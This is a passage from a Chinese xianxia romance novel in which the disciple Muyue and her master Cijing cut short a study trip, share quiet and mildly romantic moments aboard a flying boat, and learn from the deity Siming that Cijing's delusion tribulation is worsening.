对于储殷突然消失一事,沐月给出的回答是他有事先行回宗,辞镜对擎云门的说法也是如此,对于他的消失在意之人并不多。
“这好端端的怎么就先回去了,实在奇怪的很。”灵犀想了许久都未能想出结果。
“我发传讯问他也不回我。”
知晓一切的沐月轻声道:“等回去可以问问他。”
“离游学结束还有好久呢。”
沐月有一搭没一搭地和灵犀说着话,这上午悄然便过。
今日再次遇到海晏清,沐月很难相信这次又是巧合。
“这次二位姑娘可有想去之地?”他想着这回仙尊总不能再次出现了吧。
“今日我没有什么安排,可……”可她想起前两日师尊问起她今日是否有空,昨日她没空但师尊也来了,今日不知他是否会有别的计划。
“那不如我带二位姑娘去逛上一逛?”
“稍等一下,我先问问师尊。”沐月说完给师尊发去传讯,那边并未立即回复。
海晏清看着她这举动着实费解,怎么这点事情也要询问师尊么?
实在……他皱了皱眉,才想着,就见远处走来仙尊的身影,在那一片开阔的绿茵之中,他犹如一抹清风出现在在几人面前。
“仙尊。”疑惑归疑惑,但他依旧礼数周全,与灵犀向辞镜行礼。
“今日阿月有安排了,抱歉。”辞镜说着抱歉,却不见丝毫歉意。
若之前他尚且还能控制自己,可在得知这个世界是因那场情劫而存在后,他的不安达到了顶峰。
他怕
沐月并不喜欢他,只是因司命文字的束缚对他如此。
这些如此虚假,她若对其他人产生……感情呢。
海晏清看着辞镜将沐月带走,或许仙尊并不满意他?
他自认为还算是优秀,据他观察,辞镜莫非属意自己的大弟子沈风吟?
可他修的是无情道,任何一个师尊都不会主动将自己在意的徒弟推入火坑,还是说……他谁也看不上,不想任何男子与沐月在一起?
他想起此前在徐玉山时,越想他的眉蹙得越紧。
离开的沐月瞥了眼师尊突然牵住她的手,连忙回头看,此时早已看不见海晏清与灵犀,周围也又没有人在。
可她还是胆颤心惊,不过她并未挣脱师尊的手。
“师尊,我们今日去哪里?”方才他说有安排,沐月也不知这个安排是什么。
“阿月,我们明日就回去吧。”
“嗯?”
“明日就回戚雪峰。”
“可是,我们自己回去吗?”
“此次游学有其他长老在,我不在也没关系,若其他弟子愿意,也可随我们一起回去。”
沐月不知为何,突然从师尊那双温柔的眼中看到了偏执,他似乎不愿意再留在这擎云门。
是有什么让他顾虑的事情吗?
“可是回去处理储殷的事情?”沐月唯有想到此种可能。
辞镜没有否认,“嗯,早些了解清楚,也能更安心不是么?”
“若你还有想去之地,今日师尊陪你一同前往。”
往后也都会有他。
有他便够了不是么。
天机湖预言不假,他会与沐月成婚,司命星君的命格簿上他和沐月也本就该在一起。
第53章 第53章升温
师徒二人回到四合殿。
沐月今日并未有想去之地,尤其是储殷与魔族有关一事让她再无精力再去思考别的,也无心去做其他,倒不如回这四合殿,况且她也不知除了储殷是否还有其他的危险在等她。
“师尊,若我们提前回去会不会引起其他弟子的恐慌?”此前储殷才回去,若她和师尊又相继离去必定会让弟子猜测。
“阿月此事你无需多虑,一切由师尊来解决。”
既然师尊已经如此说表明他确实有应对之法,那她也无需担心,可为何自昨夜之后师尊就变得如此不安呢?
可是他不愿告诉她,师尊在某些事情上很执拗,一旦他做出了决定别人轻易无法动摇。
只是不知这次他做出的决定究竟是什么。
沐月窝在师尊的怀里思索着,若今夜只有她一个人想必会辗转反侧无法入睡,但抱着师尊虽然心里依旧有很多无法排遣的情绪,但她至少是安心的,能够毫无顾虑地躺在师尊怀里好好睡上一觉。
渐渐耳边传来平稳的呼吸声,辞镜垂眸去看已经睡着的沐月,将她又搂紧了些。
沐月一夜好眠,但辞镜并未安心入睡。
虽然告诉自己这劫不渡也罢,可他总是产生一种这些事情并非会由他控制的想法,一切的情况还需要之后才能知晓,辞镜厌恶这种无法掌控全局的感觉,他只是从储殷的记忆里了解了一些片段,但还有许多事情无法得知,可他如今恐怕只有回到天界才能知晓一切,而他并不想回去,二者天生对立。
即便是在睡梦中的沐月也好似感觉到师尊的情绪变化,在他身上蹭了蹭,辞镜敛下做这些情绪,安抚地轻轻摸了摸沐月的长发,她的眉头才舒展开,再次安稳地睡去。
*
离开擎云门一事辞镜早早向长老们提及,与此同时他还告知了他的师弟,也就是万剑宗的掌门,掌门知晓储殷之事,只当是辞镜要尽快赶回来处理他,毕竟事关魔族确实大意不得。
掌门担心万剑宗那几十名弟子在擎云门陷入危险之中,毕竟此次沐月遇袭,上回她也是,甚至还与辞镜牵连甚广,谁也无法得知若是在别人的地界是否还有其他未知的危险。
此次前往擎云门游学的弟子们称得上是万剑宗的半壁江山,若他们出了事,可如何是好。
思来想去,掌门直接通知各位长老提前结束此次游学,所有人尽快归宗。
沐月看到这则消息并不意外,提前回去也好,在外确实心里不安稳。
“也不知发生了何事,储殷之前早早离开也没有和我们打声招呼,这回又通知提前结束游学,虽然这些天该逛的都已经逛的差的不多了,但我可不想回去啊,回去又要日日上那枯燥乏味的课。”灵犀翻着玉牌,疑惑地问
“之前也没有遇到过提前大半月结束的先例,真是奇怪,要是宗门有什么大事,那也该早早安排好了呀,怎会和咱们游学的时间冲突了。”若是提前几日也就罢了,可这可是大半月。
周围的弟子们也都在讨论此事,但显然没讨论出个所以然。
“话说阿月,你师尊可是仙尊诶,你肯定知道些内幕。”
她知道,但奈何不能说啊。
只能摇摇头,“回去或许就知道了。”
此事时瞒不住的,只是时间早晚的问题,万剑宗应当也不会一直瞒着宗内弟子,但在没有查清楚之前应当不会告知外界。
“也是,回去应该就能知晓,回去就回去吧,虽然还算好玩儿,但终归是在别人的地界,还是没有我自己那床睡得舒服。”
虽然弟子们心生疑惑,但是并未抱怨,毕竟宗门的每一项决定都是经过深思熟虑。
回去也不过一天一夜,到时就能知晓到底是怎么回事。
沐月看向储殷之前的座位,但是此时空空如也,也不知他被关押在何处,师尊说没有知晓真相之前不会动用私刑,万剑宗也是名门正派从未做那下作勾当,暂且应该是不会惩处他的。
事情到底如何,宗门到时会给出公允的决断。
“储殷也不知怎么回事,还是没有回复我的传讯,不会当真是出了什么事吧。”
“不会的,你不要瞎想。”
“嗯。”灵犀也希望是自己想多了。
擎云门掌门收到消息时异常震惊,匆匆赶来与万剑宗前来的三位长老和辞镜确认此事。
“此次为何如此着急,可是发生了什么紧要之事。”
辞镜道:“掌门多虑了,只是弟子们过于勤勉,这十来日在贵宗学习已经满足,但面对新环境难免分心,有弟子主动提出想要回宗沉下心修炼,正好不日后天泉湖秘境似要开启,回去筹备后也能以最好的状态前往。”
若是前段话擎云门掌门疑虑重重,但后半句便打消了他的其他猜测。
天泉湖秘境竟要开启了。
“仙尊果真神通,此事路某尚未收到消息,那确实要早些回去准备才是。”
辞镜既然毫无隐瞒告知他,便是不介意擎云门也前往秘境分一杯羹的意思。
天泉湖秘境要开启一事不假,但辞镜的真实意图却并非前往此地,甚至宗门内弟子们都还不知晓此事。
秘境并非前去就能有有所收获,还是需要自己的机缘,告知他也无妨。
万剑宗长老们听闻消息,面面相觑,欲言又止,仙尊的话也不是他们可以置喙的,告知便告知吧。
柳青长老看向面色无异的辞镜,回想起昨日他看向沐月的眼神,但很快她便收回视线。
最终弟子们启程回宗的时间定在今日傍晚,经过明日这个时候正好能抵达万剑宗,这些时间
留给他们收拾自己的行囊。
此次擎云门游学便暂时告一段落。
沐月回去时师尊正迎面朝她走来,她赶紧小跑过去,“师尊。”
“阿月,傍晚便要启程回宗,你可知晓了?”
“我听说了,现在我们所有弟子都要一并回去,早些回去也好,我总觉得在这擎云门心里不安稳。”
“回去就没事了。”辞镜轻声道。
“嗯,回去就没事了。”沐月露出笑容,回去后审问清楚储殷事情经过,此事应当能够告一段落。
不过她还需要担心师尊历劫一事,他还需要渡过妄心劫,对这个劫难沐月知晓不多,也有些无法具体明白到底要如何度过此劫,看向身旁不知在想什么的师尊。
沐月自然时希望师尊能够顺利历劫,听说成功历劫后实力都会飞升,有巨大的跨越,原本天界的师尊就已经足够强大,不知他若渡过后会成长到何种地步。
“可是想问什么?”辞镜没有错过沐月的目光。
“没有啦,师尊我们快回去吧,我还有东西需要收拾呢。”
“好。”辞镜笑着和沐月一同回到四合殿。
辞镜并未什么需要收拾的东西,他便在沐月寝殿与她一起收拾,她的那些衣裳,还有买回来的小物件儿。
“师尊你快帮我看看可有什么忘了。”
辞镜仔细看向这偌大寝殿,角落也未曾遗漏,“没有了”
“那就好。”若回去才发现有东西忘在了这里那可如何是好。
“还有一些时间,有想去之处吗?”辞镜轻轻牵过沐月的手,将她拉到自己的怀里坐着,如今两人的举动越发亲昵,沐月也不再如往日那般不自在。
她想中了合欢香的那段时日还是影响了她,才会让现在的她如此迅速地接受。
沐月靠在师尊的胸口,仔细想了想,但是没想出结果,“我不知道,我没有想去的地方,师尊你可有想去的?”
“上次在鄢城并未逛完,我们再去一次?”辞镜知晓那日因为他的到来沐月没能逛得尽兴,剩下的几个时辰不如从头到尾彻底与她一同逛逛。
这次只有他们二人,没有海晏清,也没有其他人。
闲着也是闲着,还会胡思乱想,不如前去别处转移注意力,沐月觉得不错,点点头。
辞镜牵住沐月的手准备动用瞬移之术,却被沐月阻止。
“师尊你别动,我来!”
她虽不会瞬移,但她拥有传送符,之前师尊才受伤,可不能再动用瞬移了。
辞镜没动,“好。”
她对鄢城不太熟悉,也无法保证传送的地点,落地时发现她们竟传送至一树林中。
正好碰见一对有情人靠着树干搂搂抱抱,那男子举止孟浪,沐月见此心头一跳,拉着师尊赶紧悄悄离开此地。
再使用一张传送符是不可能的,若这次将她们传送至人家的闺房之中那才更加尴尬。
沐月脸色发红,被师尊牵着的手也好似滚烫,两人离开得悄无声息都是没被瞧见,要是被人发现那场面简直不敢想象。
辞镜神色也有些泛红,他捏紧沐月的手,随她离开林中,这里是鄢城内的一处树林并不大,两人很快便离开此地,走了十来步便看见了行人的身影,也逐渐听见喧闹的人声,此处靠近东街,也是鄢城最繁华的那条街道。
脸上的热度渐渐被风吹散,两人沿着这条长街从头逛到尾,两人在上次买衣裳的成衣铺子停下。
沐月不解地看向师尊,“我上回已经买过了,不想买衣裳了。”
而且就算是要买也得换家铺子不是,怎么又来这家。
“我们再进去看看?很快的,若是没有新款,那我们再出来便是,时间还早。”
沐月想想也是,她点头,和师尊跨入门内。
“哟又是姑娘您啊,又上了新款呢,您好生瞧瞧,遇见喜欢的尽管试!”
老板看见沐月就跟看见了金疙瘩,她这里的衣裳可不便宜,这姑娘一次还是十件十件地买,出手也爽快豪不还价,虽说是这姑娘的师尊付钱,但她知晓该讨好的事是谁,这姑娘不喜欢一切都白搭。
“姑娘,这回只有你与你师尊一同前来啊?”老板瞅了瞅辞镜,兴味盎然地问。
上回还有个俊俏公子和貌美的小姑娘呢。
老板又扫了眼辞镜,但到底怕他这身份,看之前那通身气度的贵公子如此敬重这位仙长,他怕是更不得了,不过看着气度样貌也实非凡人呢。
师尊……老板心想着之前人多也就罢了,当真有单独出来陪女徒弟买衣裳的师尊?这两人之间的这气氛,啧……
不过她也不敢表露得太过明显,这毕竟是人家的事情,她啊只管把这衣裳卖出去就成。
但还是有些啧啧称奇,便是那如山巅雪月端月的仙长又如何,还不是会生出这世俗的欲望,也不知这师徒二人是否……老板制止自己的思绪,她总心虚自己的想法被身旁站着的男人听见。
辞镜如何没有察觉她的视线,但早在他做好那个决定开始,这些就都是他要经历的,他早已想到过,只是他不希望沐月遭受这些异样的目光,可又如何能够两全呢,辞镜有些迷茫。
沐月拿着新款的罗裙进去试了,她穿什么都好看,便也高兴地统统拿下,辞镜将钱给了老板随她一起离开。
直到两人彻底消失在门口,老板的目光还未收回,生得这般好看她得多看看。
直到离开铺子沐月都还有些不自在。
“师尊你有没有感觉那老板的目光怪怪的?“她浑身不自在,但是人家其实也没有总盯着看,或许是她多心了。
“或许她是见你好看才看的呢。”
沐月听师尊一本正经地说出此话,心里高兴得不行,嘴角都快要压不住,“但我觉得师尊你长得更好看!”
这话可掺不了一点假,师尊的容貌纵观整个人界怕是也找不出几个来,至少目前她从未见过比师尊还要好看的男子,之前她觉得大师兄与师尊各有千秋,但现在来看她是越看越觉得师尊更好看。
沐月侧头看了看师尊,也不知是怎么长的,这睫毛为何这般长呢,在阳光下熠熠生辉,宛若阳光下雪地折射的灿灿光华,那双眼眸也好似装着星辰大海,身段也如此优越。
辞镜被她看得有些不自在,冷白的面庞生出薄红,浅浅一层,增加了一种说不出道不明的味道。
让沐月心生邪恶念头,想要将他扑倒看他耳根红透不知所措的模样。
天呐,之前她还是千方百计躲着师尊,现在竟如此放肆了么?沐月一边在心底惊叹,可又止不住地如去想象。
若师尊得知她心里在想什么,不知他会是何种反应。
沐月突然想起之前师尊将她紧紧抱住,不让她离开,一遍遍在她耳边道歉的画面。
打住!
不能再想了,青天白日她到底在想什么。
时间一晃而过,距离启程回宗只剩下最后两刻钟,也是时候回去了。
“师尊,我们回去了吗?”
“嗯,走吧。”
两人来到人少的僻静之处,沐月催动传送符,这回精准传送回四合殿。
此次在擎云门的正殿前的广场集合,擎云门掌门还在和一众长老表示遗憾,此次走得如此匆忙也未来得及举办饯别宴。
本还想与辞镜说上几句,奈何一直未见他身影。
弟子们整理好队伍等待辞镜和几位长老的到来。
随后沐月和辞镜的身影出现,沐月快速跑进弟子队伍之中,深怕被大家的目光盯着,逛得尽兴差点忘了时间,幸好没让大家久等。
在灵犀的身后站好,灵犀转头看她,“你去哪儿了?”
“没去哪儿。”沐月支支吾吾。
她可不敢说她又和师尊去了一趟鄢城,不然以灵犀的性子还打破砂锅问到底。
离开之前她察觉了海晏清的目光,瞧都瞧见了,也不好直接移开视线,沐月礼节性地朝他笑了笑,随即低头和灵犀说话。
“回去怕是得不习惯两日 。”
“但是之后我们也可以去其他地方,没事啦。”
“也是。”灵犀点点头。
聊着也到了时间,辞镜取出宗门的万象乾坤舟,巴掌大小的小木船迅速变大,占据了广场大半的位置,弟子们按照来时的顺序依次飞身至舟中。
最后一名弟子离开,辞镜和一众长老和和擎云门掌门说完后也回到舱内。
万象乾坤舟缓缓驶离擎云门。
沐月和灵犀趴在船舷看向迅速缩小远去的擎云门,转身回自己的房中,回去还有一天一夜呢,现在已是傍晚,很快就要入夜了。
回到房中不久,沐月的房门便被敲响,她拉开门往外看,却发现了师尊站在门口。
沐月往他身后又看了好几眼,确认没有人在才连忙道:“师尊你快进来,等会儿被人看见了怎么办。”
她将门合上,师尊一走进这间小小的房中瞬间逼仄。
这房里连张桌椅也没有,只有一张小小的床,床尾能够放下一个蒲团供弟子打坐修炼。
沐月已经能够猜到师尊为何前来。
“师尊,你可是让我去你屋的?”
“这里太小了,和师尊一起回楼上住吧。”
沐月正要拒绝,她已经和师尊出现在二楼师尊那华丽版卧房。
“放心,如此近距离的瞬移不会有什么影响的。”
沐月见师尊神情自然,眉梢还带着浅淡的笑意知晓他说的并非假话。
能够睡在这样的房中自然好啊,师尊这间比她的大上将近数十倍,甚至还专门配备了浴桶,长老的卧房远远比不上辞镜的这间,甚至还有专门的观星台。
沐月跑到观星台望向头顶的天空,现在尚且还有一线余晖,未能看到星辰,今晚或许能看到最美的夜空。
回到屋中,沐月坐到桌边和师尊说了会儿话打算修炼,现在她仗着自己身体能够自主吸收灵气进行修炼懈怠了好长一段时间,她更应该趁此机会早日壮大魂体才是,争取不靠外物回到天界就能直接修出人身。
辞镜也在沐月身旁打坐调息。
虽各自做自己的事,格外安静,但沐月却十分安心满足,这次修炼的速度也极快,之前她在戚雪峰已经修炼至金丹中期,现在她竟然触碰到金丹后期的壁垒,但此刻还在飞舟之上显然不适合进阶,还是回到戚雪峰后再行突破比较稳妥。
辞镜也感知到沐月身上的灵气,缓缓睁开双眸,“可是快要突破了?”
“嗯,我打算回去再冲刺。”
“如此也好。”
突破至金丹后期一日两日甚至半月都有可能,明日就能抵达万剑宗贸然突破确实不妥。
“师尊,我有些困了。”
沐月打了个哈欠,可她还是想沐浴,之前她凑合凑合就算了毕竟没有热水,但师尊能啊,他可是水灵根,热个水轻轻松松。
就是他可能得回避一下。
可若是让他去门外等似乎不太好,毕竟会被人看到的,若是引起别人怀疑得不偿失。
辞镜看出了沐月在想什么,“可是要沐浴?”
她点头。
“随我来。”辞镜走至绘有山水的屏风后,指尖凝结水将浴桶注至一半,他只捏了个诀浴桶中的水便冒出热气,他探手试了试水温,“阿月你试试水温是否合适。”
沐月也伸手试了下,“应该刚好。”
略烫,但她正喜欢烫一些,况且现在天冷了,她泡了后舒服很多。
“那师尊出去等你。”
“师尊等一下。”
辞镜停下脚步,等着沐月之后的话。
“师尊不然你就在屋里吧。”沐月不好意思地小声道。
之前在四合殿她喝醉看了师尊沐浴,虽然只看到一个背影,后来师尊也是在温泉外等她,都有过一次了,这次又怎么了,她泡澡时小声一些就好。
若他在外等待必定引人猜忌,若去她那间房又会动用瞬移,思来想去还是在屋中妥当。
况且,她都打算和师尊进一步发展了。
“好。”辞镜回答了她后,在屋中坐着,只是隔着一道屏风,却无法遮住所有。
沐月无法透过屏风看向外面,自然以为她也是不会被瞧见的,脱了衣裳抬脚迈入浴桶,本想浇浇水,却又及时停住手,尽量不发出任何声音。
辞镜侧身没去看屏风,而是去了观星台,只是耳聪目明的他依旧能够听见房中的那极小的水声,还有衣服布料摩擦之声。
不久他听见了脚步声。
这是沐月沐浴最快的一次,赤脚踏出浴桶,她用灵力烘干全身,仔细将贴身衣物穿上,若在戚雪峰她是不会穿着些入睡的,但现在还是得注意一下。
又穿上美美的睡裙,她才走到师尊身后。
辞镜转身,视线落到沐月白嫩的脚上,她赤脚踩着地板,珍珠般圆润的脚趾还泛着才被热水泡过的红。
“怎么不穿鞋。”辞镜蹲下身,抬起沐月的一只脚,给她穿上从芥子囊中取出的月白色绣花鞋。
“我忘了。”沐月嘟囔,她是花呀,自然不喜欢穿鞋,不过她也不能如此和师尊说。
辞镜为沐月将鞋穿好,牵过她的手,“可要看星空?”
沐月眼前一亮,“出来了吗?”
“嗯,去看看吧。”
他牵着沐月来到观星台,这里位置极佳,能够全方位观赏夜空,甚至要比往日看的夜空要清晰得多,或许是因为她们是飞在天上,自然就离星星更近。
璀璨夺目的银河仿佛触手可及,沐月看得目不转睛,这是她看过的最美的夜空。
仅是看夜空便看了近半个时辰,和师尊说说话倒是过得极快,她看够了也生出困意,盖上被子等着师尊沐浴结束。
只是她视线一转,发现了极为震惊的一幕,这一幕让她差点脑子无法转动。
那屏风能够看见之后师尊那隐隐绰绰的身影,可谓一览无余,那她刚才岂不是也被看得清清楚楚?
沐月面红耳赤。
不过师尊应该不是那种冒犯之人,或许早早就移开了视线。
如此一想沐月自在多了。
师尊沐浴完出来时,沐月正脸色通红地藏在被窝里,但是很快她就冷静了,彼此都看了对方也没有不好意思,而且只是一个能看清楚轮廓的身影罢了,没什么大不了。
辞镜出来时沐月佯装睡着,他没有惊动她,只是躺在她身边,将她柔软温暖的身体揽入怀中。
察觉怀中之人的僵硬,辞镜不解,“睡不着么?”
沐月摇头,更紧地钻进辞镜的怀里,蹭了蹭准备安心睡去。
但也不知为何今夜迟迟无法入睡,她再度睁开双眼,看着师尊那张完美无缺的脸,视线描摹他的眉眼,鼻梁和唇线。
顺着他的脖颈,视线最终停留在他的喉结,冷白的肌肤上微微隆起一小块,他入睡时穿得要比白日宽松,衣襟也不再如白日那般扣的严丝合缝。
沐月不知是不是她的错觉,喉结似乎滚了下,但她定睛一看便又似乎没有。
她看向师尊紧闭的双眸,睫毛并未颤动似乎正睡着,应该是她多心了。
如此一来她更是肆无忌惮。
带着疑惑,沐月缓缓伸出手指,柔软温热的指尖轻轻触碰他的喉结。
第54章 第54章并非正人君子
沐月没敢太过放肆,摸够了收回手靠着师尊安心入睡,但她还未来及闭眼,眼前的师尊就睁开了双眸,沐月的笑容僵在脸上。
所以方才师尊都醒着?”
师,师尊……“沐月咽了下口水,做贼心虚地往后缩了一下。
“睡不着吗?”辞镜薄唇动了动,轻声问她,嗓音略微有些低哑。
“睡得着,现在就睡。”沐月赶紧闭上双眼,生怕和师尊继续对视。
她也是傻了,师尊如此敏锐之人,她摸他必然是能察觉的,沐月真是后悔自己方才的举动。
“阿月。”
沐月装睡不回答。
“师尊现在却有些睡不着了。”
她本想问为什么,但直觉让她没有问出口,在师尊的目光之下她再难以维持自己的镇定自若,睁开双眼和师尊对视。
辞镜离她又近了些,两人呼吸交缠,沐月疯狂眨动睫毛,快要无法呼吸。
师尊的面庞近在咫尺,沐月视线不受控制地落在他的唇瓣,不知为何,今日在看见那树林中搂抱的那对有情人后,她心里总是有些躁动,师尊身上清冷干净的霜雪气朝她涌来,沐月紧紧闭上双眼。
心心念念的师尊的吻却并未落到她的唇上,她感觉唇被轻轻碰了一下,随后师尊的柔软的唇瓣吻在她的额心,温柔似水,像是一阵风在她的额头拂过,师尊温柔的声音在耳边响起,“睡吧。”
沐月却有些睡不着了,如此如何又能睡着呢。
她睁开双眼,“师尊,那个。”
那个她有点不好意思说。
“哪个?”
“我想……”
她有点想亲他,中了合欢香的她可以肆无忌惮地说出口,但这对清醒的她而言还是太过困难了,沐月想着本来她都已经做好了准备,顺从内心就好啦,可要说出口还是比想象中难呢。
辞镜静静等着她说出口,但她却没有再开口,看着泄气打算放弃的她,辞镜摸了摸她的发顶,随后吻在沐月的唇上。
原本还是极温柔的,沐月像是泡在温热的泉水里,可渐渐她伸出了手,往师尊的胸口推了推,推不动手指慌乱中扯到了他的银发,但察觉自己可能自己太用力了后连忙放开了师尊的长发。
*
沐月是被敲门声惊醒的,她迷茫地睁开双眼,敲门声还在继续,还未清醒的她皱了皱眉,想要扯过被子遮住头,但突然她突然手忙脚乱推开师尊翻身而起,茫然地坐在床上。
外面之人的声音有些熟悉,似乎是某位长老。
沐月刚想说话,担心被门外之人听见只得强行忍住,匆忙在房中寻找能够躲避的地方,可这里虽比普通弟子的房要大,但想要寻找个能藏人的地方却是不易。
她想到了浴桶,躲进去应该可以。
师尊的声音在她耳边响起,她意识到是传音。
“不用担心,师尊先出去。”
辞镜下床稍微整理自己松散的长衫,披上外袍才走到门口,开门前看了眼躲进屏风之后的沐月,看不见她的身影才打开房门。
长老见辞镜虽仪容整齐,可神色不似往日那般清明,心中生出猜测,莫非是才起?
可此时已不算早了,长老往房门里瞧了几眼,却是什么也没瞧见,视线在那有些凌乱的床上一扫而过,仙尊素来爱整洁,倒是没想到睡着时被子会如此乱作一团。
辞镜轻轻蹙眉,侧身挡住长老的视线,“青山长老可是有事前来?”
“仙尊实在抱歉打扰您休息,这万象乾坤舟所需灵石矿有些不足了,是寻找最近城池补充,还是统一收集长老弟子们的灵石维持飞舟运行呢?”
灵石矿纯度比起灵石要低很多,可提取为灵石工序却极为繁杂,可去最近城池补足灵石矿需绕路,如此会耽搁不少时间,可若使用长老弟子们的灵石,回去后宗门必然会补齐,是一笔不小的支出。
万象乾坤舟动用一次,动辄便是数千万的灵石矿。
灵石纯度高,但也需要几十上百万的灵石,仅靠几位长老的积蓄显然不够,可如此收集下来又怕弟子心生怨言。
“尽快归宗,还需多少本尊这边给便是。”辞镜取出一个芥子囊,交给长老。
“好的仙尊,我这就去。”
离去后辞镜将门合上。
“阿月出来吧。”
沐月这才从屏风后钻出,“幸好没被发现。”她拍拍胸脯舒出一口气。
看着一脸庆幸的沐月,辞镜对此没有发表言论。
没有去最近城池补足灵石矿,还是按原定时间在傍晚时分抵达万剑宗。
留在宗门内的弟子们也早已收到前往擎云门的弟子需要提前结束游学回宗一事,一些无事的弟子在宗门广场等着万象乾坤舟降落。
沐月和灵犀打了声招呼便要随师尊回戚雪峰。
她走出两步回头看向身后的沈风吟,“大师兄你要回戚雪峰吗?要回的话我们一起吧。”
听见她的话,辞镜看向了沈风吟。
沈风吟颔首,“好的师妹,那我们一同回去。”
本该只有沐月和辞镜两人,现在却成了她们三人,沐月这段时日倒是每日都能见到大师兄,但他几乎都在最后排的位置,她鲜少和他说上话,上午的课结束后他似乎也有自己的事情要做,她们能说话的时间就更少了。
“大师兄,你最近都在做什么?”沐月好奇地问。
“听说擎云门藏经阁内的剑法图典籍妙极,每日便花上了一些时间去学习,倒也没有太多其他事情。”
“这样啊。”原来是在研究剑法,难怪如此沉迷。
“那这次提前回宗,大师兄你岂不是不能继续精进了?”
“无碍,并非所有都用得上,这几日我都已将其看完。”
“哇大师兄你好厉害,这么快就能看完。”沐月打心底里觉得佩服,满眼的崇拜。
沈风吟眼底露出笑意,“只是寻常的书罢了,并不晦涩难懂,所以看得快了些。”
“那也很厉害!”沐月想着大师兄给她那本她都看了好久才彻底看完。
“阿月。”
“嗯?”沐月听见师尊的声音,侧头看向他,一时有些茫然。
“我们已经要到了,那是去云落阁的方向。”辞镜的声音听不出什么起伏,可扫向沈风吟的声音却带了丝凉意。
沐月原本还想着好久没有练剑去大师兄那儿练会儿的,可现在已经不早了,况且才回到戚雪峰大师兄也需要休息,她便没有再提。
“我差点忘了,那大师兄我和师尊先回去啦。”
“你明日有空吗?明日有空的话我来找你练剑。”
“有空的,师妹你随时过来便是。”
两人对话结束,沐月发现空气的温度似乎要冷了一些,也不知是否是她的错觉。
“那大师兄明日见。”
沐月和师尊走向无妄楼的方向,走出几步,她的手便被师尊牵住了,牵得紧紧的,沐月看向身侧的师尊想要抽回手,“师尊要是被大师兄看见了怎么办。”
辞镜却握得越发紧了,他没有道理干涉沐月和沈风吟的正常往来和相处,他们是师兄妹,这关系是断不了的,若是要断……理智让辞镜立即阻止自己继续去想。
可即便清醒地知晓沐月不是只有他,他也不能阻止沐月与其他人交流相处,她有自己的朋友,除了他还有很多很多人,辞镜还是不受控制地产生负面的情绪。
他甚至想要阿月与他一直在这戚雪峰生活,或者与她下山游历,只有他们二人,只有他们就够了,若她觉得孤单,他们可以有孩子,不,辞镜想到之后有人会分走沐月的注意力和爱,他便觉得这个孩子也是没必要存在的。
辞镜知晓自己的想法是错的,是极为荒唐的,可他无法阻止自己去想象。
神魂那股刺痛再次出现,他脸色一白,捏紧沐月的手,但是很快他便调整过来,微乱的呼吸也逐渐恢复了平稳。
“师尊,你不舒服吗?”沐月察觉师尊脸色的变化,连忙问。
“师尊无事。”他不可能让沐月察觉自己这想法,若是知晓必定会讨厌他,会远离他,甚至,甚至可能再也不愿意见到他。
沐月仔细看着他,发现师尊神色已经恢复,但她还是不怎么放心。
夜里她犹豫自己是去自己屋里还是和师尊去二楼他的卧房,好长一段时间没有睡她自己的床有些想念,可她又关心师尊的身体,还是与他一起去二楼比较稳妥。
可就在此时,司命的声音在她耳边响起,面前还站着师尊她有些紧张,虽然知晓师尊无法听见司命说话。
走到一半,沐月松开师尊的手。
辞镜手中一空,有风从指缝穿过。
他抬眸 ,看向身旁的沐月。
“那个师尊,我想先回自己房里。”
辞镜缄默不语,却也没有阻止沐月离开。
沐月打算先回去问问司命为何突然出现,问清楚再回二楼。
没等师尊回答,沐月便转身匆匆下楼跑回自己房中,快速合上房门,木梯之上便只剩下辞镜一人。
沐月一进门就听司命说起师尊的妄心劫一事。
【你再说一遍,我有点没听清楚。】刚才师尊在她担心被发现哪有还有精力认真听。
【我说天河石竟出现了裂痕,这表明你师尊的妄心劫在加重,天河石若是彻底碎裂,此劫便无需再渡了,你师尊必定会被反噬。】
【无需渡了是什么意思?】沐月皱眉。
【若是天河石碎裂便没了任何机会,我位列仙班如此久,还会头回遇见天河石生出裂痕的,还有你大师兄,他没有半点要历劫的迹象,若实在不行,你还是将注意力放在你师尊身上吧。】
【我要做什么吗?】
【不知神尊心里的虚妄到底为何物,你需找到他的妄念,想办法让他主动脱离虚妄的世界回归现实,直面世界本真的模样。】
【是指愿望吗?满足他的愿望就好了吧。】
【也不是,满足他的愿望并非能渡过此劫,就如某些上神陷入自己才是世界中心的虚妄里,但他知晓其实并非如此,只是被实力裹挟日日为其耗费心血,若你将其他比他实力更强的人杀了,或给他个仙丹让他成为世间最强似乎就是满足了他的愿望,但事情并未结束,他甚至可能心生更多的贪欲,只有他主动意识到自我即真我,坚持本心不被外物影响才是他成功历劫的关键。】
【那师尊要怎么才能成功历劫?】
【你问我本君,本君也无法清楚告知你,你师尊这妄心劫过于奇怪,本君还是头回遇见,现下当务之急是找到他的虚妄为何物,是困于无法突破飞升的困惑之中,还是其他。找到后尽量开导而非肆意满足,若满足只会助涨他的欲望而非自我觉醒,清醒后主动选择脱离虚妄才为最佳之策,不过你也无需过于操心,毕竟妄心劫历劫的关键还是在于你师尊自身。】
【若你迷茫也实属正常,三言两语无法解释,这也是妄心劫难渡的主要缘由。】
【总之你要记住,探寻清楚你师尊的虚妄,暂且以你认为的愿望指代,一旦明确,那你不能一味满足,可知晓?】
【可师尊的医仙好友告知我师尊若是有什么要求都尽可能满足他,这不是与你的违背了么。】
【你信他的还是信我的?况且他提出的要求并不代表一定是虚妄,你要加以甄别。】
【若我确定师尊的虚妄为何物后,我依旧拒绝,那会危及师尊性命吗?】
【不一味满足,不代表拒绝,你慢慢琢磨吧。还有若他情况危急,本君自会出现,你放心,本君比你更希望神尊平安归来。】
沐月一想到师尊之前那吐血的虚弱姿态,就六神无主,当真要眼睁睁看着放任么。
【本君知晓你为难,但历劫就是如此,若不经历万难,又如何成为万人之上的神尊。】
【这不过是一场历劫罢了,在天界也不过是弹指一瞬,在人界的诸多痛苦最终都会成为他登顶至高无上之位的助力。】
司命交代完离开,沐月情绪沉重了许多,是的,这些在她看来无比重要的事情,或许以后只会成为师尊记忆中不值一提的小事,甚至也会将她忘记,甚至连她是谁都不记得。
沐月没有心情再回二楼,但是不行,师尊的身体情况不太稳定,正好她还要去探探师尊心中的虚妄究竟为何物。
她磨蹭许久,甚至洗完澡才慢吞吞爬上二楼,在门口徘徊半晌终于轻轻推开房门。
一眼便看见坐着打坐并未入睡的师尊。
在沐月上楼时辞镜便知晓,她的脚步声越来越近,最终在他身旁停下。
他在想,为何又回来了。
“师尊,你不休息吗?”
听见女孩的迟疑又关切的声音,辞镜那些因她离去的冰也仿佛随之融化。
“那阿月你呢,怎么也不休息?”辞镜的声音响起。
